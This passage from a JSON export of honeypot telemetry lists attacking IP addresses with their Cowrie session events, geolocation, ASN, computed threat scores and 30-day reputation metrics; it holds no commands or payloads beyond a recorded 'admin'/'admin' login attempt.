      "first_seen": "2026-04-12T16:24:26.389Z",
      "last_seen": "2026-04-12T16:24:29.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:36:08+00:00",
        "last_seen_30d": "2026-04-29T21:27:45.636000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 21,
        "Cowrie": 4
      }
    },
    "150.116.204.225": {
      "attack_count": 4,
      "first_seen": "2026-04-08T00:12:54.844Z",
      "last_seen": "2026-04-08T00:13:29.566Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 131627,
      "as_org": "Peicity Digital Cable Television., LTD",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T00:12:54.844000+00:00",
        "last_seen_30d": "2026-04-08T00:14:30.217000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "157.0.0.10": {
      "attack_count": 4,
      "first_seen": "2026-04-01T08:29:54.285Z",
      "last_seen": "2026-04-23T22:34:40.206Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.6,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T08:29:54.285000+00:00",
        "last_seen_30d": "2026-04-30T13:09:21.893000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Cowrie": 4
      }
    },
    "161.35.197.225": {
      "attack_count": 4,
      "first_seen": "2026-04-18T03:59:02.901Z",
      "last_seen": "2026-04-18T03:59:22.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.4,
        "persistence": 5.0,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 6,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-18T03:59:02.901000+00:00",
        "last_seen_30d": "2026-04-23T15:02:18.450000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 2,
        "Ipphoney": 1
      }
    },
    "205.210.31.155": {
      "attack_count": 4,
      "first_seen": "2026-04-22T10:46:45.472Z",
      "last_seen": "2026-04-22T10:46:48.314Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.2,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T20:38:38+00:00",
        "last_seen_30d": "2026-04-26T06:39:44.990000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 7,
        "Cowrie": 4
      }
    },
    "222.109.205.160": {
      "attack_count": 4,
      "first_seen": "2026-04-05T22:10:04.592Z",
      "last_seen": "2026-04-24T06:41:32.465Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongdong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T22:10:04.592000+00:00",
        "last_seen_30d": "2026-04-24T06:42:38.951000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "35.216.189.16": {
      "attack_count": 4,
      "first_seen": "2026-04-09T03:40:22.368Z",
      "last_seen": "2026-04-09T03:40:23.400Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 69.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 25,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 30,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T19:30:12+00:00",
        "last_seen_30d": "2026-04-30T17:57:01.370000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 4,
        "ElasticPot": 2,
        "H0neytr4p": 2
      }
    },
    "45.156.129.62": {
      "attack_count": 4,
      "first_seen": "2026-04-30T03:51:18.145Z",
      "last_seen": "2026-04-30T03:51:54.084Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 82.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T07:40:56+00:00",
        "last_seen_30d": "2026-04-30T03:52:58.824000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "66.132.224.91": {
      "attack_count": 4,
      "first_seen": "2026-04-01T03:52:00.141Z",
      "last_seen": "2026-04-01T03:52:15.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T03:52:00.141000+00:00",
        "last_seen_30d": "2026-04-29T18:38:36.560000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 12,
        "Ciscoasa": 6,
        "Cowrie": 4,
        "ElasticPot": 3,
        "Dionaea": 1
      }
    },
    "71.6.134.231": {
      "attack_count": 4,
      "first_seen": "2026-04-14T16:02:39.590Z",
      "last_seen": "2026-04-14T16:02:40.001Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 28,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T09:43:01.801000+00:00",
        "last_seen_30d": "2026-04-28T21:48:09.757000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 351,
        "Honeytrap": 103,
        "Dionaea": 6,
        "ConPot": 4,
        "Cowrie": 4,
        "H0neytr4p": 2,
        "Tanner": 2,
        "Sentrypeer": 1
      }
    },
    "86.228.194.136": {
      "attack_count": 4,
      "first_seen": "2026-04-26T05:11:06.454Z",
      "last_seen": "2026-04-26T05:13:08.415Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Vitrolles",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:11:06.454000+00:00",
        "last_seen_30d": "2026-04-26T05:23:51.432000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "91.230.168.226": {
      "attack_count": 4,
      "first_seen": "2026-04-13T00:57:35.889Z",
      "last_seen": "2026-04-13T00:57:39.307Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 12.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 15,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T07:10:41+00:00",
        "last_seen_30d": "2026-04-20T07:00:22.914000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "192.241.154.87": {
      "attack_count": 3,
      "first_seen": "2026-04-30T10:26:32.740Z",
      "last_seen": "2026-04-30T10:26:33.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:15:25.575000+00:00",
        "last_seen_30d": "2026-04-30T10:27:40.259000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "2.26.51.204": {
      "attack_count": 3,
      "first_seen": "2026-04-15T06:56:38.638Z",
      "last_seen": "2026-04-15T06:57:39.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T06:56:38.638000+00:00",
        "last_seen_30d": "2026-04-15T06:58:49.130000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "38.76.161.183": {
      "attack_count": 3,
      "first_seen": "2026-04-19T12:53:12.032Z",
      "last_seen": "2026-04-19T12:54:21.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kwai Chung",
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T03:37:28.546000+00:00",
        "last_seen_30d": "2026-04-23T05:51:29.813000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "103.63.228.72": {
      "attack_count": 2,
      "first_seen": "2026-04-29T15:11:13.725Z",
      "last_seen": "2026-04-29T15:11:27.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 38835,
      "as_org": "Buroserv Australia Pty Ltd",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T15:11:13.725000+00:00",
        "last_seen_30d": "2026-04-29T15:12:32.150000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "106.192.23.180": {
      "attack_count": 2,
      "first_seen": "2026-04-30T05:45:28.218Z",
      "last_seen": "2026-04-30T05:45:40.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T05:45:28.218000+00:00",
        "last_seen_30d": "2026-04-30T05:46:42.018000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.33.213.230": {
      "attack_count": 2,
      "first_seen": "2026-04-04T07:55:52.030Z",
      "last_seen": "2026-04-04T07:56:22.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taitung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:55:52.030000+00:00",
        "last_seen_30d": "2026-04-04T07:57:25.302000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.37": {
      "attack_count": 2,
      "first_seen": "2026-04-20T19:06:07.644Z",
      "last_seen": "2026-04-20T19:06:17.450Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:34:58+00:00",
        "last_seen_30d": "2026-04-28T18:24:56.650000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 30,
        "Cowrie": 2
      }
    },
    "175.143.31.244": {
      "attack_count": 2,
      "first_seen": "2026-04-10T01:29:14.885Z",
      "last_seen": "2026-04-10T01:29:28.258Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:29:14.885000+00:00",
        "last_seen_30d": "2026-04-10T01:30:30.860000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.107.128.246": {
      "attack_count": 2,
      "first_seen": "2026-04-19T20:40:51.054Z",
      "last_seen": "2026-04-19T20:41:04.419Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 28250,
      "as_org": "Vogel Solucoes em Telecom e Informatica SA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T20:40:51.054000+00:00",
        "last_seen_30d": "2026-04-19T20:42:09.040000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.49.109.109": {
      "attack_count": 2,
      "first_seen": "2026-04-04T21:13:42.777Z",
      "last_seen": "2026-04-04T21:15:42.812Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Novosibirsk",
      "asn": 31200,
      "as_org": "Novotelecom Ltd",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:13:42.777000+00:00",
        "last_seen_30d": "2026-04-04T21:25:45.830000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.244.111.240": {
      "attack_count": 2,
      "first_seen": "2026-04-03T06:43:45.682Z",
      "last_seen": "2026-04-03T06:44:16.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Oravi\u0163a",
      "asn": 33977,
      "as_org": "Banat Telecom Satelit S.R.L.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:43:45.682000+00:00",
        "last_seen_30d": "2026-04-03T06:45:25.359000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.91.183.18": {
      "attack_count": 2,
      "first_seen": "2026-04-26T22:00:00.015Z",
      "last_seen": "2026-04-26T22:02:00.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Carmo do Cajuru",
      "asn": 28207,
      "as_org": "Teleon Telecomunicacoes Ltda",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T22:00:00.015000+00:00",
        "last_seen_30d": "2026-04-26T22:03:23.144000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "195.184.76.35": {
      "attack_count": 2,
      "first_seen": "2026-04-15T08:31:34.632Z",
      "last_seen": "2026-04-15T08:31:44.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 28,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T07:03:29+00:00",
        "last_seen_30d": "2026-04-28T11:49:17.051000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 44,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "195.184.76.49": {
      "attack_count": 2,
      "first_seen": "2026-04-07T20:01:08.228Z",
      "last_seen": "2026-04-07T20:01:18.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 76.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 28,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:31:08+00:00",
        "last_seen_30d": "2026-04-28T19:29:13.633000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Honeytrap": 25,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "195.184.76.50": {
      "attack_count": 2,
      "first_seen": "2026-04-07T20:01:30.771Z",
      "last_seen": "2026-04-07T20:01:33.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 30,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T16:04:50+00:00",
        "last_seen_30d": "2026-04-30T21:13:17.443000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 17,
        "Cowrie": 2
      }
    },
    "211.47.126.157": {
      "attack_count": 2,
      "first_seen": "2026-04-24T03:04:04.963Z",
      "last_seen": "2026-04-24T03:04:20.015Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 9762,
      "as_org": "kt HCN Co.,Ltd.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T03:04:04.963000+00:00",
